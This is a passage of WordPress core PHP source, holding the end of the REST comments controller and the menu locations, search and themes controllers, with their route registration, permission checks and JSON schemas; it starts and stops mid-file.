			'description' => __( 'Limit result set to comments assigned to specific user IDs. Requires authorization.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['author_exclude'] = array(
			'description' => __( 'Ensure result set excludes comments assigned to specific user IDs. Requires authorization.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['author_email'] = array(
			'default'     => null,
			'description' => __( 'Limit result set to that from a specific author email. Requires authorization.' ),
			'format'      => 'email',
			'type'        => 'string',
		);

		$query_params['before'] = array(
			'description' => __( 'Limit response to comments published before a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array(
				'asc',
				'desc',
			),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by comment attribute.' ),
			'type'        => 'string',
			'default'     => 'date_gmt',
			'enum'        => array(
				'date',
				'date_gmt',
				'id',
				'include',
				'post',
				'parent',
				'type',
			),
		);

		$query_params['parent'] = array(
			'default'     => array(),
			'description' => __( 'Limit result set to comments of specific parent IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['parent_exclude'] = array(
			'default'     => array(),
			'description' => __( 'Ensure result set excludes specific parent IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['post'] = array(
			'default'     => array(),
			'description' => __( 'Limit result set to comments assigned to specific post IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
		);

		$query_params['status'] = array(
			'default'           => 'approve',
			'description'       => __( 'Limit result set to comments assigned a specific status. Requires authorization.' ),
			'sanitize_callback' => 'sanitize_key',
			'type'              => 'string',
			'validate_callback' => 'rest_validate_request_arg',
		);

		$query_params['type'] = array(
			'default'           => 'comment',
			'description'       => __( 'Limit result set to comments assigned a specific type. Requires authorization.' ),
			'sanitize_callback' => 'sanitize_key',
			'type'              => 'string',
			'validate_callback' => 'rest_validate_request_arg',
		);

		$query_params['password'] = array(
			'description' => __( 'The password for the post if it is password protected.' ),
			'type'        => 'string',
		);

		/**
		 * Filters REST API collection parameters for the comments controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_Comment_Query parameter. Use the
		 * `rest_comment_query` filter to set WP_Comment_Query parameters.
		 *
		 * @since 4.7.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_comment_collection_params', $query_params );
	}

	/**
	 * Sets the comment_status of a given comment object when creating or updating a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param string|int $new_status New comment status.
	 * @param int        $comment_id Comment ID.
	 * @return bool Whether the status was changed.
	 */
	protected function handle_status_param( $new_status, $comment_id ) {
		$old_status = wp_get_comment_status( $comment_id );

		if ( $new_status === $old_status ) {
			return false;
		}

		switch ( $new_status ) {
			case 'approved':
			case 'approve':
			case '1':
				$changed = wp_set_comment_status( $comment_id, 'approve' );
				break;
			case 'hold':
			case '0':
				$changed = wp_set_comment_status( $comment_id, 'hold' );
				break;
			case 'spam':
				$changed = wp_spam_comment( $comment_id );
				break;
			case 'unspam':
				$changed = wp_unspam_comment( $comment_id );
				break;
			case 'trash':
				$changed = wp_trash_comment( $comment_id );
				break;
			case 'untrash':
				$changed = wp_untrash_comment( $comment_id );
				break;
			default:
				$changed = false;
				break;
		}

		return $changed;
	}

	/**
	 * Checks if the post can be read.
	 *
	 * Correctly handles posts with the inherit status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Request data to check.
	 * @return bool Whether post can be read.
	 */
	protected function check_read_post_permission( $post, $request ) {
		$post_type = get_post_type_object( $post->post_type );

		// Return false if custom post type doesn't exist
		if ( ! $post_type ) {
			return false;
		}

		$posts_controller = $post_type->get_rest_controller();

		/*
		 * Ensure the posts controller is specifically a WP_REST_Posts_Controller instance
		 * before using methods specific to that controller.
		 */
		if ( ! $posts_controller instanceof WP_REST_Posts_Controller ) {
			$posts_controller = new WP_REST_Posts_Controller( $post->post_type );
		}

		$has_password_filter = false;

		// Only check password if a specific post was queried for or a single comment
		$requested_post    = ! empty( $request['post'] ) && ( ! is_array( $request['post'] ) || 1 === count( $request['post'] ) );
		$requested_comment = ! empty( $request['id'] );
		if ( ( $requested_post || $requested_comment ) && $posts_controller->can_access_password_content( $post, $request ) ) {
			add_filter( 'post_password_required', '__return_false' );

			$has_password_filter = true;
		}

		if ( post_password_required( $post ) ) {
			$result = current_user_can( 'edit_post', $post->ID );
		} else {
			$result = $posts_controller->check_read_permission( $post );
		}

		if ( $has_password_filter ) {
			remove_filter( 'post_password_required', '__return_false' );
		}

		return $result;
	}

	/**
	 * Checks if the comment can be read.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Comment      $comment Comment object.
	 * @param WP_REST_Request $request Request data to check.
	 * @return bool Whether the comment can be read.
	 */
	protected function check_read_permission( $comment, $request ) {
		if ( ! empty( $comment->comment_post_ID ) ) {
			$post = get_post( $comment->comment_post_ID );
			if ( $post ) {
				if ( $this->check_read_post_permission( $post, $request ) && 1 === (int) $comment->comment_approved ) {
					return true;
				}
			}
		}

		if ( 0 === get_current_user_id() ) {
			return false;
		}

		if ( empty( $comment->comment_post_ID ) && ! current_user_can( 'moderate_comments' ) ) {
			return false;
		}

		if ( ! empty( $comment->user_id ) && get_current_user_id() === (int) $comment->user_id ) {
			return true;
		}

		return current_user_can( 'edit_comment', $comment->comment_ID );
	}

	/**
	 * Checks if a comment can be edited or deleted.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Comment $comment Comment object.
	 * @return bool Whether the comment can be edited or deleted.
	 */
	protected function check_edit_permission( $comment ) {
		if ( 0 === (int) get_current_user_id() ) {
			return false;
		}

		if ( current_user_can( 'moderate_comments' ) ) {
			return true;
		}

		return current_user_can( 'edit_comment', $comment->comment_ID );
	}

	/**
	 * Checks a comment author email for validity.
	 *
	 * Accepts either a valid email address or empty string as a valid comment
	 * author email address. Setting the comment author email to an empty
	 * string is allowed when a comment is being updated.
	 *
	 * @since 4.7.0
	 *
	 * @param string          $value   Author email value submitted.
	 * @param WP_REST_Request $request Full details about the request.
	 * @param string          $param   The parameter name.
	 * @return string|WP_Error The sanitized email address, if valid,
	 *                         otherwise an error.
	 */
	public function check_comment_author_email( $value, $request, $param ) {
		$email = (string) $value;
		if ( empty( $email ) ) {
			return $email;
		}

		$check_email = rest_validate_request_arg( $email, $request, $param );
		if ( is_wp_error( $check_email ) ) {
			return $check_email;
		}

		return $email;
	}

	/**
	 * If empty comments are not allowed, checks if the provided comment content is not empty.
	 *
	 * @since 5.6.0
	 *
	 * @param array $prepared_comment The prepared comment data.
	 * @return bool True if the content is allowed, false otherwise.
	 */
	protected function check_is_comment_content_allowed( $prepared_comment ) {
		$check = wp_parse_args(
			$prepared_comment,
			array(
				'comment_post_ID'      => 0,
				'comment_author'       => null,
				'comment_author_email' => null,
				'comment_author_url'   => null,
				'comment_parent'       => 0,
				'user_id'              => 0,
			)
		);

		/** This filter is documented in wp-includes/comment.php */
		$allow_empty = apply_filters( 'allow_empty_comment', false, $check );

		if ( $allow_empty ) {
			return true;
		}

		/*
		 * Do not allow a comment to be created with missing or empty
		 * comment_content. See wp_handle_comment_submission().
		 */
		return '' !== $check['comment_content'];
	}
}
<?php
/**
 * REST API: WP_REST_Menu_Locations_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Core class used to access menu locations via the REST API.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Menu_Locations_Controller extends WP_REST_Controller {

	/**
	 * Menu Locations Constructor.
	 *
	 * @since 5.9.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'menu-locations';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 5.9.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<location>[\w-]+)',
			array(
				'args'   => array(
					'location' => array(
						'description' => __( 'An alphanumeric identifier for the menu location.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read menu locations.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|bool True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to view menu locations.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves all menu locations, depending on user context.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$data = array();

		foreach ( get_registered_nav_menus() as $name => $description ) {
			$location              = new stdClass();
			$location->name        = $name;
			$location->description = $description;

			$location      = $this->prepare_item_for_response( $location, $request );
			$data[ $name ] = $this->prepare_response_for_collection( $location );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read a menu location.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to view menu locations.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a specific menu location.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_Error|WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$registered_menus = get_registered_nav_menus();
		if ( ! array_key_exists( $request['location'], $registered_menus ) ) {
			return new WP_Error( 'rest_menu_location_invalid', __( 'Invalid menu location.' ), array( 'status' => 404 ) );
		}

		$location              = new stdClass();
		$location->name        = $request['location'];
		$location->description = $registered_menus[ $location->name ];

		$data = $this->prepare_item_for_response( $location, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a menu location object for serialization.
	 *
	 * @since 5.9.0
	 *
	 * @param stdClass        $item    Post status data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Menu location data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$location = $item;

		$locations = get_nav_menu_locations();
		$menu      = isset( $locations[ $location->name ] ) ? $locations[ $location->name ] : 0;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'name', $fields ) ) {
			$data['name'] = $location->name;
		}

		if ( rest_is_field_included( 'description', $fields ) ) {
			$data['description'] = $location->description;
		}

		if ( rest_is_field_included( 'menu', $fields ) ) {
			$data['menu'] = (int) $menu;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $location ) );
		}

		/**
		 * Filters menu location data returned from the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param object           $location The original location object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_menu_location', $response, $location, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 *
	 * @param stdClass $location Menu location.
	 * @return array Links for the given menu location.
	 */
	protected function prepare_links( $location ) {
		$base = sprintf( '%s/%s', $this->namespace, $this->rest_base );

		// Entity meta.
		$links = array(
			'self'       => array(
				'href' => rest_url( trailingslashit( $base ) . $location->name ),
			),
			'collection' => array(
				'href' => rest_url( $base ),
			),
		);

		$locations = get_nav_menu_locations();
		$menu      = isset( $locations[ $location->name ] ) ? $locations[ $location->name ] : 0;
		if ( $menu ) {
			$path = rest_get_route_for_term( $menu );
			if ( $path ) {
				$url = rest_url( $path );

				$links['https://api.w.org/menu'][] = array(
					'href'       => $url,
					'embeddable' => true,
				);
			}
		}

		return $links;
	}

	/**
	 * Retrieves the menu location's schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'menu-location',
			'type'       => 'object',
			'properties' => array(
				'name'        => array(
					'description' => __( 'The name of the menu location.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'description' => array(
					'description' => __( 'The description of the menu location.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'menu'        => array(
					'description' => __( 'The ID of the assigned menu.' ),
					'type'        => 'integer',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 5.9.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
<?php
/**
 * REST API: WP_REST_Search_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class to search through all WordPress content via the REST API.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Search_Controller extends WP_REST_Controller {

	/**
	 * ID property name.
	 */
	const PROP_ID = 'id';

	/**
	 * Title property name.
	 */
	const PROP_TITLE = 'title';

	/**
	 * URL property name.
	 */
	const PROP_URL = 'url';

	/**
	 * Type property name.
	 */
	const PROP_TYPE = 'type';

	/**
	 * Subtype property name.
	 */
	const PROP_SUBTYPE = 'subtype';

	/**
	 * Identifier for the 'any' type.
	 */
	const TYPE_ANY = 'any';

	/**
	 * Search handlers used by the controller.
	 *
	 * @since 5.0.0
	 * @var WP_REST_Search_Handler[]
	 */
	protected $search_handlers = array();

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 *
	 * @param array $search_handlers List of search handlers to use in the controller. Each search
	 *                               handler instance must extend the `WP_REST_Search_Handler` class.
	 */
	public function __construct( array $search_handlers ) {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'search';

		foreach ( $search_handlers as $search_handler ) {
			if ( ! $search_handler instanceof WP_REST_Search_Handler ) {
				_doing_it_wrong(
					__METHOD__,
					/* translators: %s: PHP class name. */
					sprintf( __( 'REST search handlers must extend the %s class.' ), 'WP_REST_Search_Handler' ),
					'5.0.0'
				);
				continue;
			}

			$this->search_handlers[ $search_handler->get_type() ] = $search_handler;
		}
	}

	/**
	 * Registers the routes for the search controller.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permission_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to search content.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has search access, WP_Error object otherwise.
	 */
	public function get_items_permission_check( $request ) {
		return true;
	}

	/**
	 * Retrieves a collection of search results.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$handler = $this->get_search_handler( $request );
		if ( is_wp_error( $handler ) ) {
			return $handler;
		}

		$result = $handler->search_items( $request );

		if ( ! isset( $result[ WP_REST_Search_Handler::RESULT_IDS ] ) || ! is_array( $result[ WP_REST_Search_Handler::RESULT_IDS ] ) || ! isset( $result[ WP_REST_Search_Handler::RESULT_TOTAL ] ) ) {
			return new WP_Error(
				'rest_search_handler_error',
				__( 'Internal search handler error.' ),
				array( 'status' => 500 )
			);
		}

		$ids = $result[ WP_REST_Search_Handler::RESULT_IDS ];

		$results = array();

		foreach ( $ids as $id ) {
			$data      = $this->prepare_item_for_response( $id, $request );
			$results[] = $this->prepare_response_for_collection( $data );
		}

		$total     = (int) $result[ WP_REST_Search_Handler::RESULT_TOTAL ];
		$page      = (int) $request['page'];
		$per_page  = (int) $request['per_page'];
		$max_pages = (int) ceil( $total / $per_page );

		if ( $page > $max_pages && $total > 0 ) {
			return new WP_Error(
				'rest_search_invalid_page_number',
				__( 'The page number requested is larger than the number of pages available.' ),
				array( 'status' => 400 )
			);
		}

		$response = rest_ensure_response( $results );
		$response->header( 'X-WP-Total', $total );
		$response->header( 'X-WP-TotalPages', $max_pages );

		$request_params = $request->get_query_params();
		$base           = add_query_arg( urlencode_deep( $request_params ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );

		if ( $page > 1 ) {
			$prev_link = add_query_arg( 'page', $page - 1, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $page < $max_pages ) {
			$next_link = add_query_arg( 'page', $page + 1, $base );
			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Prepares a single search result for response.
	 *
	 * @since 5.0.0
	 * @since 5.6.0 The `$id` parameter can accept a string.
	 * @since 5.9.0 Renamed `$id` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param int|string      $item    ID of the item to prepare.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$item_id = $item;

		$handler = $this->get_search_handler( $request );
		if ( is_wp_error( $handler ) ) {
			return new WP_REST_Response();
		}

		$fields = $this->get_fields_for_response( $request );

		$data = $handler->prepare_item( $item_id, $fields );
		$data = $this->add_additional_fields_to_object( $data, $request );

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links               = $handler->prepare_item_links( $item_id );
			$links['collection'] = array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			);
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Retrieves the item schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$types    = array();
		$subtypes = array();

		foreach ( $this->search_handlers as $search_handler ) {
			$types[]  = $search_handler->get_type();
			$subtypes = array_merge( $subtypes, $search_handler->get_subtypes() );
		}

		$types    = array_unique( $types );
		$subtypes = array_unique( $subtypes );

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'search-result',
			'type'       => 'object',
			'properties' => array(
				self::PROP_ID      => array(
					'description' => __( 'Unique identifier for the object.' ),
					'type'        => array( 'integer', 'string' ),
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
				self::PROP_TITLE   => array(
					'description' => __( 'The title for the object.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
				self::PROP_URL     => array(
					'description' => __( 'URL to the object.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
				self::PROP_TYPE    => array(
					'description' => __( 'Object type.' ),
					'type'        => 'string',
					'enum'        => $types,
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
				self::PROP_SUBTYPE => array(
					'description' => __( 'Object subtype.' ),
					'type'        => 'string',
					'enum'        => $subtypes,
					'context'     => array( 'view', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for the search results collection.
	 *
	 * @since 5.0.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$types    = array();
		$subtypes = array();

		foreach ( $this->search_handlers as $search_handler ) {
			$types[]  = $search_handler->get_type();
			$subtypes = array_merge( $subtypes, $search_handler->get_subtypes() );
		}

		$types    = array_unique( $types );
		$subtypes = array_unique( $subtypes );

		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params[ self::PROP_TYPE ] = array(
			'default'     => $types[0],
			'description' => __( 'Limit results to items of an object type.' ),
			'type'        => 'string',
			'enum'        => $types,
		);

		$query_params[ self::PROP_SUBTYPE ] = array(
			'default'           => self::TYPE_ANY,
			'description'       => __( 'Limit results to items of one or more object subtypes.' ),
			'type'              => 'array',
			'items'             => array(
				'enum' => array_merge( $subtypes, array( self::TYPE_ANY ) ),
				'type' => 'string',
			),
			'sanitize_callback' => array( $this, 'sanitize_subtypes' ),
		);

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		return $query_params;
	}

	/**
	 * Sanitizes the list of subtypes, to ensure only subtypes of the passed type are included.
	 *
	 * @since 5.0.0
	 *
	 * @param string|array    $subtypes  One or more subtypes.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @param string          $parameter Parameter name.
	 * @return string[]|WP_Error List of valid subtypes, or WP_Error object on failure.
	 */
	public function sanitize_subtypes( $subtypes, $request, $parameter ) {
		$subtypes = wp_parse_slug_list( $subtypes );

		$subtypes = rest_parse_request_arg( $subtypes, $request, $parameter );
		if ( is_wp_error( $subtypes ) ) {
			return $subtypes;
		}

		// 'any' overrides any other subtype.
		if ( in_array( self::TYPE_ANY, $subtypes, true ) ) {
			return array( self::TYPE_ANY );
		}

		$handler = $this->get_search_handler( $request );
		if ( is_wp_error( $handler ) ) {
			return $handler;
		}

		return array_intersect( $subtypes, $handler->get_subtypes() );
	}

	/**
	 * Gets the search handler to handle the current request.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Search_Handler|WP_Error Search handler for the request type, or WP_Error object on failure.
	 */
	protected function get_search_handler( $request ) {
		$type = $request->get_param( self::PROP_TYPE );

		if ( ! $type || ! isset( $this->search_handlers[ $type ] ) ) {
			return new WP_Error(
				'rest_search_invalid_type',
				__( 'Invalid type parameter.' ),
				array( 'status' => 400 )
			);
		}

		return $this->search_handlers[ $type ];
	}
}
<?php
/**
 * REST API: WP_REST_Themes_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Core class used to manage themes via the REST API.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Themes_Controller extends WP_REST_Controller {

	/**
	 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
	 * Excludes invalid directory name characters: `/:<>*?"|`.
	 */
	const PATTERN = '[^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?';

	/**
	 * Constructor.
	 *
	 * @since 5.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'themes';
	}

	/**
	 * Registers the routes for themes.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			sprintf( '/%s/(?P<stylesheet>%s)', $this->rest_base, self::PATTERN ),
			array(
				'args'   => array(
					'stylesheet' => array(
						'description'       => __( "The theme's stylesheet. This uniquely identifies the theme." ),
						'type'              => 'string',
						'sanitize_callback' => array( $this, '_sanitize_stylesheet_callback' ),
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Sanitize the stylesheet to decode endpoint.
	 *
	 * @since 5.9.0
	 *
	 * @param string $stylesheet The stylesheet name.
	 * @return string Sanitized stylesheet.
	 */
	public function _sanitize_stylesheet_callback( $stylesheet ) {
		return urldecode( $stylesheet );
	}

	/**
	 * Checks if a given request has access to read the theme.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' ) ) {
			return true;
		}

		$registered = $this->get_collection_params();
		if ( isset( $registered['status'], $request['status'] ) && is_array( $request['status'] ) && array( 'active' ) === $request['status'] ) {
			return $this->check_read_active_theme_permission();
		}

		return new WP_Error(
			'rest_cannot_view_themes',
			__( 'Sorry, you are not allowed to view themes.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Checks if a given request has access to read the theme.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {
		if ( current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' ) ) {
			return true;
		}

		$wp_theme      = wp_get_theme( $request['stylesheet'] );
		$current_theme = wp_get_theme();

		if ( $this->is_same_theme( $wp_theme, $current_theme ) ) {
			return $this->check_read_active_theme_permission();
		}

		return new WP_Error(
			'rest_cannot_view_themes',
			__( 'Sorry, you are not allowed to view themes.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Checks if a theme can be read.
	 *
	 * @since 5.7.0
	 *
	 * @return true|WP_Error True if the theme can be read, WP_Error object otherwise.
	 */
	protected function check_read_active_theme_permission() {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view_active_theme',
			__( 'Sorry, you are not allowed to view the active theme.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Retrieves a single theme.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$wp_theme = wp_get_theme( $request['stylesheet'] );
		if ( ! $wp_theme->exists() ) {
			return new WP_Error(
				'rest_theme_not_found',
				__( 'Theme not found.' ),
				array( 'status' => 404 )
			);
		}
		$data = $this->prepare_item_for_response( $wp_theme, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves a collection of themes.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$themes = array();

		$active_themes = wp_get_themes();
		$current_theme = wp_get_theme();
		$status        = $request['status'];

		foreach ( $active_themes as $theme_name => $theme ) {
			$theme_status = ( $this->is_same_theme( $theme, $current_theme ) ) ? 'active' : 'inactive';
			if ( is_array( $status ) && ! in_array( $theme_status, $status, true ) ) {
				continue;
			}

			$prepared = $this->prepare_item_for_response( $theme, $request );
			$themes[] = $this->prepare_response_for_collection( $prepared );
		}

		$response = rest_ensure_response( $themes );

		$response->header( 'X-WP-Total', count( $themes ) );
		$response->header( 'X-WP-TotalPages', 1 );

		return $response;
	}

	/**
	 * Prepares a single theme output for response.
	 *
	 * @since 5.0.0
